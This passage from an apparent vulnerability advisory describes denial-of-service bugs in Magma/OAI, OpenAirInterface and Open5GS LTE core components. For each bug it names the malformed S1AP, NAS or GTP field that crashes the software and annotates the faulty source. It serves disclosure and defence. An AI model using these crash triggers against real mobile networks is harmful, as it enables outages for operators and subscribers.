    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="p">(</span><span class="n">ie</span><span class="o">-&gt;</span><span class="n">value</span><span class="p">.</span><span class="n">choice</span><span class="p">.</span><span class="n">EUTRAN_CGI</span><span class="p">.</span><span class="n">pLMNidentity</span><span class="p">.</span><span class="n">size</span> <span class="o">==</span> <span class="mi">3</span><span class="p">))</span> <span class="p">{</span>
        <span class="c1">// ^ Null pointer dereference of `ie`</span>
        <span class="n">OAILOG_ERROR</span><span class="p">(</span><span class="n">LOG_S1AP</span><span class="p">,</span> <span class="s">"Incorrect PLMN size </span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
        <span class="k">return</span> <span class="n">RETURNerror</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>CVE-2023-37034</strong> (<strong>VULN-D11</strong>):</p>

<p>A malformed <code class="language-plaintext highlighter-rouge">Initial UE Message</code> S1AP packet missing a required <code class="language-plaintext highlighter-rouge">TAI</code> field will cause Magma/OAI to crash due to a null pointer dereference.</p>

<p><code class="language-plaintext highlighter-rouge">lte/gateway/c/core/oai/tasks/s1ap/s1ap_mme_nas_procedures.cpp</code>:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">status_code_e</span> <span class="nf">s1ap_mme_handle_initial_ue_message</span><span class="p">(</span><span class="n">oai</span><span class="o">::</span><span class="n">S1apState</span><span class="o">*</span> <span class="n">state</span><span class="p">,</span>
                                                 <span class="k">const</span> <span class="n">sctp_assoc_id_t</span> <span class="n">assoc_id</span><span class="p">,</span>
                                                 <span class="k">const</span> <span class="n">sctp_stream_id_t</span> <span class="n">stream</span><span class="p">,</span>
                                                 <span class="n">S1ap_S1AP_PDU_t</span><span class="o">*</span> <span class="n">pdu</span><span class="p">)</span> <span class="p">{</span>
    <span class="c1">// ...</span>

    <span class="n">S1AP_FIND_PROTOCOLIE_BY_ID</span><span class="p">(</span><span class="n">S1ap_InitialUEMessage_IEs_t</span><span class="p">,</span> <span class="n">ie</span><span class="p">,</span> <span class="n">container</span><span class="p">,</span>
                            <span class="n">S1ap_ProtocolIE_ID_id_TAI</span><span class="p">,</span> <span class="nb">true</span><span class="p">);</span>
    <span class="c1">// ^ ie assigned null pointer if TAI field not present</span>
    <span class="n">OCTET_STRING_TO_TAC</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ie</span><span class="o">-&gt;</span><span class="n">value</span><span class="p">.</span><span class="n">choice</span><span class="p">.</span><span class="n">TAI</span><span class="p">.</span><span class="n">tAC</span><span class="p">,</span> <span class="n">tai</span><span class="p">.</span><span class="n">tac</span><span class="p">);</span>
    <span class="c1">// ^ Null pointer dereference of `ie`</span>

    <span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>CVE-2023-37035</strong> (<strong>VULN-D12</strong>):</p>

<p>A malformed <code class="language-plaintext highlighter-rouge">S1 Setup Request</code> S1AP packet missing a required <code class="language-plaintext highlighter-rouge">Global eNB ID</code> field will cause Magma/OAI to crash due to a null pointer dereference.</p>

<p><code class="language-plaintext highlighter-rouge">lte/gateway/c/core/oai/tasks/s1ap/s1ap_mme_handlers.cpp</code>:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">status_code_e</span> <span class="nf">s1ap_mme_handle_s1_setup_request</span><span class="p">(</span><span class="n">oai</span><span class="o">::</span><span class="n">S1apState</span><span class="o">*</span> <span class="n">state</span><span class="p">,</span>
                                               <span class="k">const</span> <span class="n">sctp_assoc_id_t</span> <span class="n">assoc_id</span><span class="p">,</span>
                                               <span class="k">const</span> <span class="n">sctp_stream_id_t</span> <span class="n">stream</span><span class="p">,</span>
                                               <span class="n">S1ap_S1AP_PDU_t</span><span class="o">*</span> <span class="n">pdu</span><span class="p">)</span> <span class="p">{</span>
    <span class="c1">// ...</span>

    <span class="n">S1AP_FIND_PROTOCOLIE_BY_ID</span><span class="p">(</span><span class="n">S1ap_S1SetupRequestIEs_t</span><span class="p">,</span> <span class="n">ie</span><span class="p">,</span> <span class="n">container</span><span class="p">,</span>
                            <span class="n">S1ap_ProtocolIE_ID_id_Global_ENB_ID</span><span class="p">,</span> <span class="nb">true</span><span class="p">);</span>
    <span class="c1">// ^ ie assigned null pointer if Global_ENB_ID field not present</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">ie</span><span class="o">-&gt;</span><span class="n">value</span><span class="p">.</span><span class="n">choice</span><span class="p">.</span><span class="n">Global_ENB_ID</span><span class="p">.</span><span class="n">eNB_ID</span><span class="p">.</span><span class="n">present</span> <span class="o">==</span>
        <span class="n">S1ap_ENB_ID_PR_homeENB_ID</span><span class="p">)</span> <span class="p">{</span>
        <span class="c1">// ^ Null pointer dereference of `ie`</span>
        <span class="c1">// ...</span>
    <span class="p">}</span>
    
    <span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>CVE-2023-37036</strong> (<strong>VULN-D13</strong>):</p>

<p>A malformed “Uplink NAS Transport” S1AP packet missing a <code class="language-plaintext highlighter-rouge">ENB_UE_S1AP_ID</code> field will cause Magma/OAI due to a null pointer dereference.</p>

<p><code class="language-plaintext highlighter-rouge">lte/gateway/c/core/oai/tasks/s1ap/s1ap_mme_nas_procedures.cpp</code>:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">status_code_e</span> <span class="nf">s1ap_mme_handle_uplink_nas_transport</span><span class="p">(</span>
        <span class="n">oai</span><span class="o">::</span><span class="n">S1apState</span><span class="o">*</span> <span class="n">state</span><span class="p">,</span> <span class="k">const</span> <span class="n">sctp_assoc_id_t</span> <span class="n">assoc_id</span><span class="p">,</span>
        <span class="n">__attribute__</span><span class="p">((</span><span class="n">unused</span><span class="p">))</span> <span class="k">const</span> <span class="n">sctp_stream_id_t</span> <span class="n">stream</span><span class="p">,</span>
        <span class="n">S1ap_S1AP_PDU_t</span><span class="o">*</span> <span class="n">pdu</span><span class="p">)</span> <span class="p">{</span>
    <span class="c1">// ...</span>

    <span class="n">S1AP_FIND_PROTOCOLIE_BY_ID</span><span class="p">(</span><span class="n">S1ap_UplinkNASTransport_IEs_t</span><span class="p">,</span> <span class="n">ie</span><span class="p">,</span> <span class="n">container</span><span class="p">,</span>
                            <span class="n">S1ap_ProtocolIE_ID_id_eNB_UE_S1AP_ID</span><span class="p">,</span> <span class="nb">true</span><span class="p">);</span>
    <span class="c1">// ^ ie assigned null pointer if eNB_UE_S1AP_ID field not present</span>
    <span class="n">enb_ue_s1ap_id</span> <span class="o">=</span> <span class="p">(</span><span class="n">enb_ue_s1ap_id_t</span><span class="p">)</span><span class="n">ie</span><span class="o">-&gt;</span><span class="n">value</span><span class="p">.</span><span class="n">choice</span><span class="p">.</span><span class="n">ENB_UE_S1AP_ID</span><span class="p">;</span>
    <span class="c1">// ^ Null pointer dereference of `ie`</span>

    <span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>CVE-2023-37037</strong> (<strong>VULN-D14</strong>):</p>

<p>A malformed <code class="language-plaintext highlighter-rouge">S1 Setup Request</code> S1AP packet missing a required <code class="language-plaintext highlighter-rouge">Supported TAs</code> choice in the <code class="language-plaintext highlighter-rouge">Supported TAs</code> field will cause Magma/OAI to crash due to a null pointer dereference.</p>

<p><code class="language-plaintext highlighter-rouge">lte/gateway/c/core/oai/tasks/s1ap/s1ap_mme_handlers.cpp</code>:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">status_code_e</span> <span class="nf">s1ap_mme_handle_s1_setup_request</span><span class="p">(</span><span class="n">oai</span><span class="o">::</span><span class="n">S1apState</span><span class="o">*</span> <span class="n">state</span><span class="p">,</span>
                                               <span class="k">const</span> <span class="n">sctp_assoc_id_t</span> <span class="n">assoc_id</span><span class="p">,</span>
                                               <span class="k">const</span> <span class="n">sctp_stream_id_t</span> <span class="n">stream</span><span class="p">,</span>
                                               <span class="n">S1ap_S1AP_PDU_t</span><span class="o">*</span> <span class="n">pdu</span><span class="p">)</span> <span class="p">{</span>
    <span class="c1">// ...</span>
    <span class="n">S1AP_FIND_PROTOCOLIE_BY_ID</span><span class="p">(</span><span class="n">S1ap_S1SetupRequestIEs_t</span><span class="p">,</span> <span class="n">ie_supported_tas</span><span class="p">,</span>
                            <span class="n">container</span><span class="p">,</span> <span class="n">S1ap_ProtocolIE_ID_id_SupportedTAs</span><span class="p">,</span>
                            <span class="nb">true</span><span class="p">);</span>
    <span class="c1">// ^ ie assigned null pointer if Global_ENB_ID field not present</span>

    <span class="n">ta_ret</span> <span class="o">=</span>
        <span class="n">s1ap_mme_compare_ta_lists</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ie_supported_tas</span><span class="o">-&gt;</span><span class="n">value</span><span class="p">.</span><span class="n">choice</span><span class="p">.</span><span class="n">SupportedTAs</span><span class="p">);</span>
    <span class="c1">// ^ Null pointer dereference of `ie`</span>
    
    <span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>CVE-2023-37038</strong> (<strong>VULN-D15</strong>):</p>

<p>A malformed “Uplink NAS Transport” S1AP packet missing a <code class="language-plaintext highlighter-rouge">MME_UE_S1AP_ID</code> field will cause Magma/OAI due to a null pointer dereference.</p>

<p><code class="language-plaintext highlighter-rouge">lte/gateway/c/core/oai/tasks/s1ap/s1ap_mme_nas_procedures.cpp</code>:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">status_code_e</span> <span class="nf">s1ap_mme_handle_uplink_nas_transport</span><span class="p">(</span>
        <span class="n">oai</span><span class="o">::</span><span class="n">S1apState</span><span class="o">*</span> <span class="n">state</span><span class="p">,</span> <span class="k">const</span> <span class="n">sctp_assoc_id_t</span> <span class="n">assoc_id</span><span class="p">,</span>
        <span class="n">__attribute__</span><span class="p">((</span><span class="n">unused</span><span class="p">))</span> <span class="k">const</span> <span class="n">sctp_stream_id_t</span> <span class="n">stream</span><span class="p">,</span>
        <span class="n">S1ap_S1AP_PDU_t</span><span class="o">*</span> <span class="n">pdu</span><span class="p">)</span> <span class="p">{</span>
    <span class="c1">// ...</span>

    <span class="n">S1AP_FIND_PROTOCOLIE_BY_ID</span><span class="p">(</span><span class="n">S1ap_UplinkNASTransport_IEs_t</span><span class="p">,</span> <span class="n">ie</span><span class="p">,</span> <span class="n">container</span><span class="p">,</span>
                             <span class="n">S1ap_ProtocolIE_ID_id_MME_UE_S1AP_ID</span><span class="p">,</span> <span class="nb">true</span><span class="p">);</span>
    <span class="c1">// ^ ie assigned null pointer if MME_UE_S1AP_ID field not present</span>
    <span class="n">mme_ue_s1ap_id</span> <span class="o">=</span> <span class="p">(</span><span class="n">mme_ue_s1ap_id_t</span><span class="p">)</span><span class="n">ie</span><span class="o">-&gt;</span><span class="n">value</span><span class="p">.</span><span class="n">choice</span><span class="p">.</span><span class="n">MME_UE_S1AP_ID</span><span class="p">;</span>
    <span class="c1">// ^ Null pointer dereference of `ie`</span>

    <span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>CVE-2023-37039</strong> (<strong>VULN-D25</strong>):</p>

<p>Absent mandatory NAS_PDU field in Initial UE Message leads to null dereference.</p>

<p><code class="language-plaintext highlighter-rouge">lte/gateway/c/core/oai/tasks/s1ap/s1ap_mme_nas_procedures.cpp</code>:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">status_code_e</span> <span class="nf">s1ap_mme_handle_initial_ue_message</span><span class="p">(</span><span class="n">oai</span><span class="o">::</span><span class="n">S1apState</span><span class="o">*</span> <span class="n">state</span><span class="p">,</span>
                                                 <span class="k">const</span> <span class="n">sctp_assoc_id_t</span> <span class="n">assoc_id</span><span class="p">,</span>
                                                 <span class="k">const</span> <span class="n">sctp_stream_id_t</span> <span class="n">stream</span><span class="p">,</span>
                                                 <span class="n">S1ap_S1AP_PDU_t</span><span class="o">*</span> <span class="n">pdu</span><span class="p">)</span> <span class="p">{</span>
    <span class="c1">// ...</span>

    <span class="n">S1AP_FIND_PROTOCOLIE_BY_ID</span><span class="p">(</span><span class="n">S1ap_InitialUEMessage_IEs_t</span><span class="p">,</span> <span class="n">ie</span><span class="p">,</span> <span class="n">container</span><span class="p">,</span>
                               <span class="n">S1ap_ProtocolIE_ID_id_NAS_PDU</span><span class="p">,</span> <span class="nb">true</span><span class="p">);</span>
    <span class="c1">// ^ if this NAS_PDU IE is absent...</span>
    <span class="n">S1AP_FIND_PROTOCOLIE_BY_ID</span><span class="p">(</span><span class="n">S1ap_InitialUEMessage_IEs_t</span><span class="p">,</span> <span class="n">ie_cause</span><span class="p">,</span> <span class="n">container</span><span class="p">,</span>
                               <span class="n">S1ap_ProtocolIE_ID_id_RRC_Establishment_Cause</span><span class="p">,</span>
                               <span class="nb">true</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">ie_cause</span><span class="p">)</span> <span class="p">{</span> <span class="n">printf</span><span class="p">(</span><span class="s">"VULN-D25</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> <span class="n">abort</span><span class="p">();}</span>
    <span class="n">s1ap_mme_itti_s1ap_initial_ue_message</span><span class="p">(</span>
        <span class="n">assoc_id</span><span class="p">,</span> <span class="n">eNB_ref</span><span class="p">.</span><span class="n">enb_id</span><span class="p">(),</span> <span class="n">ue_ref</span><span class="o">-&gt;</span><span class="n">enb_ue_s1ap_id</span><span class="p">(),</span>
        <span class="n">ie</span><span class="o">-&gt;</span><span class="n">value</span><span class="p">.</span><span class="n">choice</span><span class="p">.</span><span class="n">NAS_PDU</span><span class="p">.</span><span class="n">buf</span><span class="p">,</span> <span class="n">ie</span><span class="o">-&gt;</span><span class="n">value</span><span class="p">.</span><span class="n">choice</span><span class="p">.</span><span class="n">NAS_PDU</span><span class="p">.</span><span class="n">size</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">tai</span><span class="p">,</span>
        <span class="o">&amp;</span><span class="n">ecgi</span><span class="p">,</span> <span class="n">ie_cause</span><span class="o">-&gt;</span><span class="n">value</span><span class="p">.</span><span class="n">choice</span><span class="p">.</span><span class="n">RRC_Establishment_Cause</span><span class="p">,</span>
        <span class="n">ie_e_tmsi</span> <span class="o">?</span> <span class="o">&amp;</span><span class="n">s_tmsi</span> <span class="o">:</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">ie_csg_id</span> <span class="o">?</span> <span class="o">&amp;</span><span class="n">csg_id</span> <span class="o">:</span> <span class="nb">NULL</span><span class="p">,</span>
        <span class="n">ie_gummei</span> <span class="o">?</span> <span class="o">&amp;</span><span class="n">gummei</span> <span class="o">:</span> <span class="nb">NULL</span><span class="p">,</span>
        <span class="nb">NULL</span><span class="p">,</span>  <span class="c1">// CELL ACCESS MODE</span>
        <span class="nb">NULL</span><span class="p">,</span>  <span class="c1">// GW Transport Layer Address</span>
        <span class="nb">NULL</span>   <span class="c1">// Relay Node Indicator</span>
    <span class="p">);</span>
    <span class="c1">// ^ Then the ie-&gt;value dereferences in here will null derefs</span>

    <span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<h2 id="openairinterface-lte">OpenAirInterface (LTE)</h2>

<h3 id="gtp-protocol-vulnerabilities">GTP Protocol Vulnerabilities</h3>

<p><strong>VULN-J01</strong>:</p>

<p>openair-spgwu-tiny will abort when a GTP message is received with a TEID field with the value of 4294967295 (or 2^32 - 1).</p>

<p><code class="language-plaintext highlighter-rouge">src/spgwu/simpleswitch/pfcp_switch.cpp</code>:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">bool</span> <span class="n">pfcp_switch</span><span class="o">::</span><span class="n">get_pfcp_ul_pdrs_by_up_teid</span><span class="p">(</span>
    <span class="k">const</span> <span class="n">teid_t</span> <span class="n">teid</span><span class="p">,</span>
    <span class="n">std</span><span class="o">::</span><span class="n">shared_ptr</span><span class="o">&lt;</span><span class="n">std</span><span class="o">::</span><span class="n">vector</span><span class="o">&lt;</span><span class="n">std</span><span class="o">::</span><span class="n">shared_ptr</span><span class="o">&lt;</span><span class="n">pfcp</span><span class="o">::</span><span class="n">pfcp_pdr</span><span class="o">&gt;&gt;&gt;&amp;</span> <span class="n">pdrs</span><span class="p">)</span> <span class="k">const</span> <span class="p">{</span>
  <span class="n">folly</span><span class="o">::</span><span class="n">AtomicHashMap</span><span class="o">&lt;</span>
      <span class="n">teid_t</span><span class="p">,</span> <span class="n">std</span><span class="o">::</span><span class="n">shared_ptr</span><span class="o">&lt;</span><span class="n">std</span><span class="o">::</span><span class="n">vector</span><span class="o">&lt;</span><span class="n">std</span><span class="o">::</span><span class="n">shared_ptr</span><span class="o">&lt;</span><span class="n">pfcp</span><span class="o">::</span><span class="n">pfcp_pdr</span><span class="o">&gt;&gt;&gt;&gt;::</span>
      <span class="n">const_iterator</span> <span class="n">pit</span> <span class="o">=</span> <span class="n">ul_s1u_teid2pfcp_pdr</span><span class="p">.</span><span class="n">find</span><span class="p">(</span><span class="n">teid</span><span class="p">);</span>
      <span class="c1">// ^ raises abort when teid is equal to 2^32 - 1</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">pit</span> <span class="o">==</span> <span class="n">ul_s1u_teid2pfcp_pdr</span><span class="p">.</span><span class="n">end</span><span class="p">())</span>
    <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
  <span class="k">else</span> <span class="p">{</span>
    <span class="n">pdrs</span> <span class="o">=</span> <span class="n">pit</span><span class="o">-&gt;</span><span class="n">second</span><span class="p">;</span>
    <span class="k">return</span> <span class="nb">true</span><span class="p">;</span>
  <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>VULN-J02</strong>:</p>

<p>openair-spgwu-tiny contains a reachable, uhandled exception when parsing an IP address TLV value in a GTP packet that contains a length other than 4 or 16.</p>

<p><code class="language-plaintext highlighter-rouge">src/gtpv1u/3gpp_29.281.hpp</code>:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">load_from</span><span class="p">(</span><span class="n">std</span><span class="o">::</span><span class="n">istream</span><span class="o">&amp;</span> <span class="n">is</span><span class="p">)</span> <span class="p">{</span>
    <span class="c1">// tlv.load_from(is);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">tlv</span><span class="p">.</span><span class="n">get_length</span><span class="p">()</span> <span class="o">==</span> <span class="mi">4</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">ipv4_address_load_from</span><span class="p">(</span><span class="n">is</span><span class="p">,</span> <span class="n">ipv4_address</span><span class="p">);</span>
    <span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">tlv</span><span class="p">.</span><span class="n">get_length</span><span class="p">()</span> <span class="o">==</span> <span class="mi">16</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">ipv6_address_load_from</span><span class="p">(</span><span class="n">is</span><span class="p">,</span> <span class="n">ipv6_address</span><span class="p">);</span>
    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
        <span class="k">throw</span> <span class="n">gtpu_tlv_bad_length_exception</span><span class="p">(</span>
        <span class="n">GTPU_IE_GTP_U_PEER_ADDRESS</span><span class="p">,</span> <span class="n">tlv</span><span class="p">.</span><span class="n">length</span><span class="p">);</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<h2 id="open5gs-lte">Open5GS (LTE)</h2>

<h3 id="nas-protocol-vulnerabilities-3">NAS Protocol Vulnerabilities</h3>

<p><strong>CVE-2024-24431</strong> (<strong>VULN-F24</strong>):</p>

<p>A reachable assertion in the ogs_nas_emm_decode function of Open5GS
v2.7.0 allows attackers to cause a Denial of Service (DoS) via a
crafted NAS packet with a zero-length EMM message length.</p>

<p>lib/nas/eps/decoder.c:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">ogs_nas_emm_decode</span><span class="p">(</span><span class="n">ogs_nas_eps_message_t</span> <span class="o">*</span><span class="n">message</span><span class="p">,</span> <span class="n">ogs_pkbuf_t</span> <span class="o">*</span><span class="n">pkbuf</span><span class="p">)</span>
<span class="p">{</span>
    <span class="kt">int</span> <span class="n">size</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="kt">int</span> <span class="n">decoded</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

    <span class="n">ogs_assert</span><span class="p">(</span><span class="n">pkbuf</span><span class="p">);</span>
    <span class="n">ogs_assert</span><span class="p">(</span><span class="n">pkbuf</span><span class="o">-&gt;</span><span class="n">data</span><span class="p">);</span>
    <span class="n">ogs_assert</span><span class="p">(</span><span class="n">pkbuf</span><span class="o">-&gt;</span><span class="n">len</span><span class="p">);</span>

    <span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>CVE-2024-24429</strong> (<strong>VULN-F25</strong>):</p>

<p>A malformed <code class="language-plaintext highlighter-rouge">Attach Request</code> NAS packet with a 0-length <code class="language-plaintext highlighter-rouge">ESM Message Container</code> field will cause Open5GS to crash due to assertion failure.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">emm_handle_attach_request</span><span class="p">(</span><span class="n">mme_ue_t</span> <span class="o">*</span><span class="n">mme_ue</span><span class="p">,</span>
        <span class="n">ogs_nas_eps_attach_request_t</span> <span class="o">*</span><span class="n">attach_request</span><span class="p">,</span> <span class="n">ogs_pkbuf_t</span> <span class="o">*</span><span class="n">pkbuf</span><span class="p">)</span>
<span class="p">{</span>
    <span class="c1">// ...</span>

    <span class="n">ogs_nas_esm_message_container_t</span> <span class="o">*</span><span class="n">esm_message_container</span> <span class="o">=</span>
                <span class="o">&amp;</span><span class="n">attach_request</span><span class="o">-&gt;</span><span class="n">esm_message_container</span><span class="p">;</span>

    <span class="kt">char</span> <span class="n">imsi_bcd</span><span class="p">[</span><span class="n">OGS_MAX_IMSI_BCD_LEN</span><span class="o">+</span><span class="mi">1</span><span class="p">];</span>

    <span class="n">ogs_assert</span><span class="p">(</span><span class="n">mme_ue</span><span class="p">);</span>
    <span class="n">enb_ue</span> <span class="o">=</span> <span class="n">enb_ue_cycle</span><span class="p">(</span><span class="n">mme_ue</span><span class="o">-&gt;</span><span class="n">enb_ue</span><span class="p">);</span>
    <span class="n">ogs_assert</span><span class="p">(</span><span class="n">enb_ue</span><span class="p">);</span>

    <span class="n">ogs_assert</span><span class="p">(</span><span class="n">esm_message_container</span><span class="p">);</span>
    <span class="n">ogs_assert</span><span class="p">(</span><span class="n">esm_message_container</span><span class="o">-&gt;</span><span class="n">length</span><span class="p">);</span>
    <span class="c1">// ^ 0-length ESM Message container causes assertion failure</span>

    <span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>CVE-2024-24430</strong> (<strong>VULN-F26</strong>):</p>

<p>A malformed <code class="language-plaintext highlighter-rouge">InitialUEMessage</code> S1AP packet with a 0-length <code class="language-plaintext highlighter-rouge">IMSI</code> field will cause Open5GS to crash due to assertion failure.</p>

<p><code class="language-plaintext highlighter-rouge">src/mme/mme-context.c</code></p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">mme_ue_t</span> <span class="o">*</span><span class="nf">mme_ue_find_by_imsi</span><span class="p">(</span><span class="kt">uint8_t</span> <span class="o">*</span><span class="n">imsi</span><span class="p">,</span> <span class="kt">int</span> <span class="n">imsi_len</span><span class="p">)</span>
<span class="p">{</span>
    <span class="n">ogs_assert</span><span class="p">(</span><span class="n">imsi</span> <span class="o">&amp;&amp;</span> <span class="n">imsi_len</span><span class="p">);</span>

    <span class="k">return</span> <span class="p">(</span><span class="n">mme_ue_t</span> <span class="o">*</span><span class="p">)</span><span class="n">ogs_hash_get</span><span class="p">(</span><span class="n">self</span><span class="p">.</span><span class="n">imsi_ue_hash</span><span class="p">,</span> <span class="n">imsi</span><span class="p">,</span> <span class="n">imsi_len</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>CVE-2024-24432</strong> (<strong>VULN-F27</strong>):</p>

<p>A malformed NAS packet containing a TAU Request that is a multiple of 256 bytes will cause Open5GS to crash due to assertion failure. This is due to a type cast from <code class="language-plaintext highlighter-rouge">int</code> to <code class="language-plaintext highlighter-rouge">uint8_t</code> in <code class="language-plaintext highlighter-rouge">ogs_kdf_hash_mme</code>.</p>

<p><code class="language-plaintext highlighter-rouge">src/mme/emm-handler.c</code></p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">emm_handle_tau_request</span><span class="p">(</span><span class="n">mme_ue_t</span> <span class="o">*</span><span class="n">mme_ue</span><span class="p">,</span>
    <span class="n">ogs_nas_eps_tracking_area_update_request_t</span> <span class="o">*</span><span class="n">tau_request</span><span class="p">,</span> <span class="n">ogs_pkbuf_t</span> <span class="o">*</span><span class="n">pkbuf</span><span class="p">)</span>
<span class="p">{</span>
    <span class="c1">// ...</span>

    <span class="cm">/* HashMME */</span>
    <span class="n">ogs_kdf_hash_mme</span><span class="p">(</span><span class="n">pkbuf</span><span class="o">-&gt;</span><span class="n">data</span><span class="p">,</span> <span class="n">pkbuf</span><span class="o">-&gt;</span><span class="n">len</span><span class="p">,</span> <span class="n">mme_ue</span><span class="o">-&gt;</span><span class="n">hash_mme</span><span class="p">);</span>
    <span class="c1">// ^ if a packet has a length that is multiple of 256 bytes...</span>

    <span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">lib/crypt/ogs-kdf.c</code></p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">ogs_kdf_hash_mme</span><span class="p">(</span><span class="kt">uint8_t</span> <span class="o">*</span><span class="n">message</span><span class="p">,</span> <span class="kt">uint8_t</span> <span class="n">message_len</span><span class="p">,</span> <span class="kt">uint8_t</span> <span class="o">*</span><span class="n">hash_mme</span><span class="p">)</span>
<span class="p">{</span>
    <span class="kt">uint8_t</span> <span class="n">key</span><span class="p">[</span><span class="mi">32</span><span class="p">];</span>
    <span class="kt">uint8_t</span> <span class="n">output</span><span class="p">[</span><span class="n">OGS_SHA256_DIGEST_SIZE</span><span class="p">];</span>

    <span class="n">ogs_assert</span><span class="p">(</span><span class="n">message</span><span class="p">);</span>
    <span class="n">ogs_assert</span><span class="p">(</span><span class="n">message_len</span><span class="p">);</span>
    <span class="c1">// ^ ...then this cast to uint8_t causes this value to be equal to 0</span>
    <span class="n">ogs_assert</span><span class="p">(</span><span class="n">hash_mme</span><span class="p">);</span>
</code></pre></div></div>

<p>An additional threat from this cast is that only up to the first 255 bytes are hashed using <code class="language-plaintext highlighter-rouge">ogs_kdf_hash_mme</code>; an attacker could leverage this to pad additional data to the end of a message without the hash changing.</p>

<h3 id="s1ap-protocol-vulnerabilities-1">S1AP Protocol Vulnerabilities</h3>

<p><strong>CVE-2023-37002</strong> (<strong>VULN-F01</strong>):</p>

<p>A malformed “E-RAB Modification Indication” S1AP packet missing a required “MME UE S1AP ID” field causes Open5GS to crash as a result of failure to return an error response.</p>

<p><code class="language-plaintext highlighter-rouge">src/mme/s1ap-handler.c</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">s1ap_handle_e_rab_modification_indication</span><span class="p">(</span>
        <span class="n">mme_enb_t</span> <span class="o">*</span><span class="n">enb</span><span class="p">,</span> <span class="n">ogs_s1ap_message_t</span> <span class="o">*</span><span class="n">message</span><span class="p">)</span>
<span class="p">{</span>
    <span class="c1">// ...</span>
    
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">MME_UE_S1AP_ID</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">ogs_error</span><span class="p">(</span><span class="s">"No MME_UE_S1AP_ID"</span><span class="p">);</span>
        <span class="n">r</span> <span class="o">=</span> <span class="n">s1ap_send_error_indication</span><span class="p">(</span><span class="n">enb</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">ENB_UE_S1AP_ID</span><span class="p">,</span>
                <span class="n">S1AP_Cause_PR_protocol</span><span class="p">,</span> <span class="n">S1AP_CauseProtocol_semantic_error</span><span class="p">);</span>
        <span class="n">ogs_expect</span><span class="p">(</span><span class="n">r</span> <span class="o">==</span> <span class="n">OGS_OK</span><span class="p">);</span>
        <span class="n">ogs_assert</span><span class="p">(</span><span class="n">r</span> <span class="o">!=</span> <span class="n">OGS_ERROR</span><span class="p">);</span>
        <span class="k">return</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="c1">// ... </span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>CVE-2023-37003</strong> (<strong>VULN-F02</strong>):</p>

<p>A malformed “E-RAB Setup Response” S1AP packet missing a required “MME UE S1AP ID” field causes Open5GS to crash as a result of failure to return an error response.</p>

<p><code class="language-plaintext highlighter-rouge">src/mme/s1ap-handler.c</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">s1ap_handle_ue_context_modification_failure</span><span class="p">(</span>
        <span class="n">mme_enb_t</span> <span class="o">*</span><span class="n">enb</span><span class="p">,</span> <span class="n">ogs_s1ap_message_t</span> <span class="o">*</span><span class="n">message</span><span class="p">)</span>
<span class="p">{</span>
    <span class="c1">// ...</span>
    
